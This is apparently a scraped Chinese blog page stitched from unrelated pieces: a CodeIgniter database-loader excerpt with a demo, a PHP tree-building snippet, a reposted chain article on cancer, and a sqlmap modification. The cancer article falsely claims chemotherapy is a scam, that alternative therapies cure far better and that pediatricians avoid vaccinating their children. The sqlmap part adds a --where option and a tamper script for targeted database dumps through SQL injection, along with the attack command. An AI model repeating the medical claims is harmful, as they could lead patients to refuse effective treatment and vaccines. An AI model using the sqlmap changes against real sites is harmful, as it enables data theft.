		if ($params != '')
		{
			$active_group = $params;
		}
		if ( ! isset($active_group) OR ! isset($db[$active_group]))
		{
			show_error('You have specified an invalid database connection group.');
		}
		$params = $db[$active_group];
	}
	elseif (is_string($params))
	{
		if (($dns = @parse_url($params)) === FALSE)
		{
			show_error('Invalid DB Connection String');
		}
		$params = array(
							'dbdriver'	=> $dns['scheme'],
							'hostname'	=> (isset($dns['host'])) ? rawurldecode($dns['host']) : '',
							'username'	=> (isset($dns['user'])) ? rawurldecode($dns['user']) : '',
							'password'	=> (isset($dns['pass'])) ? rawurldecode($dns['pass']) : '',
							'database'	=> (isset($dns['path'])) ? rawurldecode(substr($dns['path'], 1)) : ''
						);
		if (isset($dns['query']))
		{
			parse_str($dns['query'], $extra);
			foreach ($extra as $key => $val)
			{
				// booleans please
				if (strtoupper($val) == "TRUE")
				{
					$val = TRUE;
				}
				elseif (strtoupper($val) == "FALSE")
				{
					$val = FALSE;
				}
				$params[$key] = $val;
			}
		}
	}
	if ( ! isset($params['dbdriver']) OR $params['dbdriver'] == '')
	{
		show_error('You have not selected a database type to connect to.');
	}
	if ($active_record_override !== NULL)
	{
		$active_record = $active_record_override;
	}
	if ( ! isset($active_record) OR $active_record == TRUE)
	{
		if ( ! class_exists('CI_DB'))
		{
			eval('class CI_DB extends CI_DB_active_record { }');
		}
	}
	else
	{
		if ( ! class_exists('CI_DB'))
		{
			eval('class CI_DB extends CI_DB_driver { }');
		}
	}
	$driver = 'CI_DB_'.$params['dbdriver'].'_driver';
	$DB = new $driver($params);
	if ($DB->autoinit == TRUE)
	{
		$DB->initialize();
	}
	if (isset($params['stricton']) && $params['stricton'] == TRUE)
	{
		$DB->query('SET SESSION sql_mode="STRICT_ALL_TABLES"');
	}
	return $DB;
}

调用如下:

demo.php

<?php 
ini_set('display_errors',1);
error_reporting(E_ALL);
 define('BASEPATH', realpath(dirname(__FILE__)).'/');
include_once('mysqlclass/mysqlclass.php');
function log_message($a,$b){
	var_dump($a);
	var_dump($b);
}

function &load_database($params = '', $active_record_override = false)
{
	$database =& DB($params, $active_record_override);
	return $database;
}

$db =& load_database("mysql://root:123456@127.0.0.1/testa", true);
$tt=$db->get('user')->result_array();
var_dump($tt);
$db->where('id',1)->update('user',array('username'=>"123333"));
$db->where('id',2)->delete('user');
$str = $db->last_query();
var_dump($str);

9行代码,不用递归实现无限分类数据的树形格式化

<?php
function genTree($items) {  
    $tree = array(); //格式化好的树  
    foreach ($items as $item)  
        if (isset($items[$item['pid']]))  
            $items[$item['pid']]['son'][] = &$items[$item['id']];  
        else  
            $tree[] = &$items[$item['id']];  
    return $tree;  
}  
  
$items = array(  
    1 => array('id' => 1, 'pid' => 0, 'name' => '江西省'),  
    2 => array('id' => 2, 'pid' => 0, 'name' => '黑龙江省'),  
    3 => array('id' => 3, 'pid' => 1, 'name' => '南昌市'),  
    4 => array('id' => 4, 'pid' => 2, 'name' => '哈尔滨市'),  
    5 => array('id' => 5, 'pid' => 2, 'name' => '鸡西市'),  
    6 => array('id' => 6, 'pid' => 4, 'name' => '香坊区'),  
    7 => array('id' => 7, 'pid' => 4, 'name' => '南岗区'),  
    8 => array('id' => 8, 'pid' => 6, 'name' => '和兴路'),  
    9 => array('id' => 9, 'pid' => 7, 'name' => '西大直街'),  
    10 => array('id' => 10, 'pid' => 8, 'name' => '东北林业大学'),  
    11 => array('id' => 11, 'pid' => 9, 'name' => '哈尔滨工业大学'),  
    12 => array('id' => 12, 'pid' => 8, 'name' => '哈尔滨师范大学'),  
    13 => array('id' => 13, 'pid' => 1, 'name' => '赣州市'),  
    14 => array('id' => 14, 'pid' => 13, 'name' => '赣县'),  
    15 => array('id' => 15, 'pid' => 13, 'name' => '于都县'),  
    16 => array('id' => 16, 'pid' => 14, 'name' => '茅店镇'),  
    17 => array('id' => 17, 'pid' => 14, 'name' => '大田乡'),  
    18 => array('id' => 18, 'pid' => 16, 'name' => '义源村'),  
    19 => array('id' => 19, 'pid' => 16, 'name' => '上坝村'),  
);  
echo "<pre>";  
print_r(genTree($items));  

美国顶尖医​​生谈癌症-医疗界不能说的秘密

我可以向你们保证以下的内容100%真实,请您一定耐心看完。从医15年来,我也反复告诉病人这些事实。但是没有人愿意去听,更没有人愿意去相信。或许,我们的同胞们真的需要清醒了。说的直白一点,癌症治疗其实就是一种赚钱手段,就是一项创收产业。据估计,癌症治疗每年在全球赚6000亿美元,其中,单在美国年赚1200亿美元。
怎么才算是成功的抗癌案例呢?美国癌症协会和美国大学肿瘤学和血液学给出的答案是凡是经过治疗能多活5年的癌症患者都可以认为其抗癌成功。同时双方都坦言“即使癌症病人不接受任何治疗也有可能撑7到10年。”当然,只有我们医生才能拿到这些杂志。不是你们——癌症病人。
据统计,替代疗法治愈癌症的机率比传统治疗高十倍。注意:我这里说的是“治愈”其次,牢记另一件事。肿瘤只是一个症状。它不是引起癌症的罪魁祸首。从你患上癌症,到你抗癌所受的煎熬,这一切的始作俑者,都是所谓“科学”。解铃还须系铃人。别再盲信科学,到时你的病也就自然好了。
此刻的我正在与癌症进行第三次恶战。在癌症发作之时,我并没有接受任何化疗、放疗或者手术治疗。白血病、非霍奇金淋巴瘤我都一一挺过来了。现在我大脑里又长了成胶质细胞瘤,医学上认为这种肿瘤是脑瘤中不可治愈的。5个月前,医生的诊断结果给我判了死刑——我还有仅仅10个月左右的寿命。
在抗癌期间,我一直服用中药、大剂量的维他命C;接受针灸、脊椎按摩疗法、顺势疗法;尝试不同的膳食营养搭配。没错,刚开始我的病情恶化。癌细胞迅速转移到我的淋巴结、肺部和骨骼上。但是,到这个周,我可以很高兴的说我的淋巴系统和骨骼上的癌细胞已经消失殆尽。先前我肺部的6个肿瘤,现在只剩下2个了。脑中的肿瘤也缩小很多。我从来,从来没有接受他们所谓的化疗、放疗或手术治疗。
这里有个非常有趣的数据。当然,普通人根本得不到除非你是医生。每年都有1000多名主治癌症的医生被诊断出癌症。但是只有不到10%的人选择接受他们给病人进行的那套治疗方案。这有点像另一个赤裸裸的事实——不到25%的儿科专家会给自己的孩子接种疫苗,因为因接种而导致猝死和各种副作用的风险远比患病本身的风险高得多。这不是在哄你,这是事实。
医学关乎的是金钱,不是你的健康。不幸的是,它却愚弄了众人,特别是老年人、残疾人及穷人。他们糊里糊涂的陷入圈套,早早葬送了自己的性命。与此同时,那些百万富翁们正乘坐着私家喷气式飞机驶往欧洲,甘愿花大把的钞票接受替代疗法并且重获了健康。
替代疗法总是很灵吗?不,当然不是。在这世界上没有尽善尽美的事物。但是替代疗法值得你一试。除非你大限已至,否则你绝对不会因为接受了替代疗法而死去。话又说回来,如果真是你的时间到了,即使华佗在世也无济于事了。然而替代疗法却能保证你生前最后的生活质量。虽然那些接受替代疗法的癌症病人们最终也难逃疾病的魔爪,但是至少他们可以在弥留之际与家人相聚,有的甚至还能认出自己的家人。他们并不像那些接受了化疗、放疗的病人那样骨瘦如柴,更不像他们那样在生命的最后几天连家人都辨认不出来。
那些接受传统治疗的病人晚期被癌症蹂躏的惨不忍睹。有时,甚至连你都不敢确定躺在你面前的是不是那个从前精神倍棒容光焕发的他。他们所承受的身心之痛是我们永远也体会不到的。但是,带给他们的,是一次次的失望,是医生一次次的摇头感慨:“呃……情况不太乐观啊,我们还得加强对你化疗放射的力度。”
这一切的罪恶性在于你的医生明明知道这套把戏根本不起任何作用却依旧把你推向万劫不复之地!
在我成为医师的那一天,我对自己、对上帝郑重宣誓。我也一直以身践行。我并没有因为当医生而功成名就发家致富,因为我拒绝与其他医生同流合污,宣扬那一无是处的传统疗法。
真心希望你们能仔细阅读以下内容。你的生活,很有可能,会因此不同。
约克坎特雷尔,医学博士,心理学博士。多年以来,人们一直被灌输“化疗是治疗癌症的唯一途径”的思想。直到现在,约翰霍普金才最终决定告诉你们这里还有一种替代疗法。
来自约翰霍普金的有关癌症的最新信息
1.每个人的体内都有癌细胞。在常规测验中这些癌细胞并不会检验出来直至他们滋生到几亿个。当医生告诉癌症病人经过治疗他们体内已经没有癌细胞了,其实,这只意味着化验没办法检测出癌细胞,因为它们的数量还没达到可检测到的程度。
2.在人的一生中,癌细胞会出现6到10次不等
3、当一个人的免疫系统抵抗力强的时候,癌细胞很容易被杀死从而阻断了它繁殖、形成肿瘤的可能性。
4、当一个人得癌症时通常也意味着他有营养不良等问题。这或许是来自遗传,但是其中也有环境、饮食、生活习惯等因素
的影响。
5、要想摆脱营养缺陷综合症的困扰,你需要改变饮食结构,多吃些营养丰富的食品;一日4到5餐并且在里面添加增强免疫力的物质。
6、所谓化疗就是杀死体内那些繁衍迅速的癌细胞。但是,与此同时,它也扼杀了骨髓、胃肠道中迅速生长的健康细胞,并严重影响五脏机能。
7、放疗在摧毁癌细胞的同时也对健康的细胞、组织和器官造成了灼伤、疤痕等不同程度的损害。
8、在化疗和放疗的初期,肿瘤在尺寸上是有缩小的趋势的。然而,治疗效果却和治疗时间不成正比。化疗、放疗的时间眼
看着一天天增长,肿瘤却还在病人体内肆意妄为。
9、当体内因长期化疗、放疗积聚了过多有毒物质时,免疫系统的防御能力就会大大下降甚至彻底崩溃。因此一点点小感染或者并发症就足以让癌症病人搭上性命。
10、长期的化疗和放疗会使癌细胞对其产生免疫,这时候要想摧毁癌细胞也就难上加难了。那手术治疗呢?很抱歉的告诉你,它极易引起癌细胞的转移。
11、癌细胞的快速分裂和生长需要大量能量,因此控制癌症病人营养的摄入,即医学界所指的“饿死癌细胞”也是抗癌的有效方法之一。
附录:助长癌细胞繁殖的食物
A.像甜味剂这些用糖精做的糖分替代品对身体都是有害的。食用起来更为安全放心的是像蜂蜜、糖蜜等产品。但前提是一定要控制摄入量。我们平时家里吃的食用盐都是因为添加了某种化学物质才呈白色。所以,用布拉格的氨基酸或者海盐来代替它会比较好。
B.牛奶能促进体内粘液的分泌,尤其是促进胃肠道内粘液的分泌。而癌细胞赖以生存的环境就是粘液。所以癌症病人要果断戒掉喝牛奶的习惯,通过喝不含糖分的豆浆来饿死癌细胞。
C.癌细胞适宜生长在酸性环境中。以肉食为主的饮食是呈酸性的。所以最好的饮食结构是多吃鱼,适当搭配一点肉食,如鸡肉。肉里面也含有抗生素、生长激素和寄生虫,这些都对人的身体健康有负面影响,对癌症病人更为不利。
D.如果你每餐80%是由新鲜的蔬菜、果汁、全麦、坚果和适量水果构成的,那么它们可以为你身体营造硷性环境。其它20%可以吃些豆制品。新鲜的蔬菜榨汁可以提供能被人体迅速吸收的活性消化酶并能在短短的15分钟之内到达细胞内,从而起到滋养细胞、促进健康细胞生长的作用。想要获得活性消化酶来帮助细胞生长的话就喝点新鲜的蔬菜(大多数蔬菜都可,豆芽也可)榨汁吧!此外,每天吃2到3次的生菜也对健康有益。消化酶在104华氏摄氏度(40摄氏度)的高温下会失去效力。
E.远离咖啡、茶、巧克力这些咖啡因含量高的产品。含有抗癌物质的绿茶倒是个不错的替代品。至于饮水问题,为了避免自来水里的致病物质和重金属,最好是喝纯净水或者过滤水。不要喝蒸馏水,它是酸性的。
12、肉类蛋白很难消化而且需要消耗大量消化酶。未能及时消化的肉类滞留在肠道内时间过长,进而腐烂,对人体健康造成更大威胁。
13、癌细胞壁被一层厚厚的蛋白质包裹着。不吃或者少吃肉可以减少消化酶的消耗,从而使消化酶更集中的攻击癌细胞的蛋白质细胞壁。与此同时,号称体内“杀手细胞”的各个细胞也可以及时的吞噬癌细胞。
14、一些能增强免疫力的膳食补充物可以使体内白细胞杀死癌细胞。其他像维他命E的补充物能产生,或者能即使清理已死亡、受损或没用的细胞。
15、癌症是一种考验人们心灵、肉体、精神的疾病。积极乐观的精神状态会帮助战斗于癌症最前线的病人们痊愈而归。相反,愤怒、无情、刻薄却会使身体进入到高度紧张且呈酸性的环境。所以,让我们学着去爱去宽容吧!去放松去享受吧!
16、癌细胞不能在有氧环境中生存繁殖。每天适量运动、深呼吸都可以使更多的氧气进入细胞内。“氧气疗法”是另外一种运用在抗癌上的手段。
1、切勿将塑料容器放在微波炉中加热。
2、切勿将塑料瓶装水放在冷藏箱里冷藏。
3、切勿将覆盖有塑料保鲜膜的食品放入微波炉中加热。
以上三条信息是约翰霍普金最近发表在通讯上的。可别小瞧它们,它们现在在沃尔特里德陆军医疗中心广为传播。二恶英能导致癌症,特别是乳腺癌。它对我们体内细胞的的毒性作用相当强。千万不要将装着水的塑料瓶放在冰箱里冷藏,因为塑料瓶会在此种条件下释放出二恶英。最近,城堡医院的人类福祉项目负责人爱德华弗吉莫特博士在一次电视节目里详细阐述了这个安全隐患。他提到了二恶英以及二恶英对我们人体健康的负面影响。他说我们不应该将盛有食物的塑料容器放入微波炉加热。尤其是不要加热油脂类食物。因为在高温、脂肪、塑料的三重作用下,释放出的二恶英迅速进入食物内并最终通过饮食渠道进入人体细胞内。同时,他建议我们用玻璃容器加热食物。像唐宁瓷器、派莱克斯耐热玻璃器皿、陶瓷器皿等都是很好的选择。都是加热食物,用玻璃容器不会产生任何二恶英,何乐而不为呢?类似的像电视晚餐、速食拉面都应该被扔掉换上其他容器。纸类容器看起来不错但是你并不知道里面到底含有什么物质。所以用像钢化玻璃、唐宁瓷器的这种玻璃类容器相对更安全些。爱德华博士还提醒我们前些日子一些快餐厅用纸质类餐具代替了泡沫餐具的一大原因也是二恶英问题。
请把这篇文章转发给你E-mail地址栏里的每一个联系人……
同时,爱德华博士也提到了像赛纶(一种美国品牌)这类塑料保鲜膜,当它们覆盖在食物上并被放入微波炉加热时,其危险性不亚于将塑料瓶装水放在冰箱里冰镇。当食物在微波炉里烹制时,高温使塑料保鲜膜上的毒素融化并滴落到食物上。最好的解决办法是将纸巾覆盖在食物上。
– See more at: http://www.aboluowang.com/2014/1113/471633.html#sthash.eswEEcvJ.dpuf

解决sqlmap注入dump时没有where条件问题

今天导一大库,刚好有这需求。花了十分钟简单改了下。

首先,添加一个选项

在lib/parse/cmdline.py文件中。

        target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"www.target.com/vuln.php?id=1\")")
        target.add_option("-W", "--where", dest="wherestring", help="where id=1") #新增加这一行。

接下来在lib/core/optiondict.py文件中

            "Target":        {
                               "direct":            "string",
                               "url":               "string",
                               "logFile":           "string",
                               "bulkFile":          "string",
                               "requestFile":       "string",
                               "sessionFile":       "string",
                               "googleDork":        "string",
                               "configFile":        "string",
                               "wherestring":              "string", #新增加的这一行
                             },

最后 在tamper文件夹中新建一文件名为wheredump.py  文件内容如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import random
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.data import conf
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))

def tamper(payload, **kwargs):
    restring = re.compile("`.*`")
    tablename_tmp=restring.findall(payload)
    if tablename_tmp:
        replacestr=tablename_tmp[0]+'  where  '+conf.wherestring
        result = re.sub(restring,replacestr,payload)
        payload=result
    return payload

完工

注入的时候用如下命令就行:

python sqlmap.py -u "http://127.0.0.1/down/a.php?id=1" --dbs --tamper wheredump.py -D testa -T user -C id,username --dump --start 1 --stop 30 --where "id>10"

哈哈。打完收工。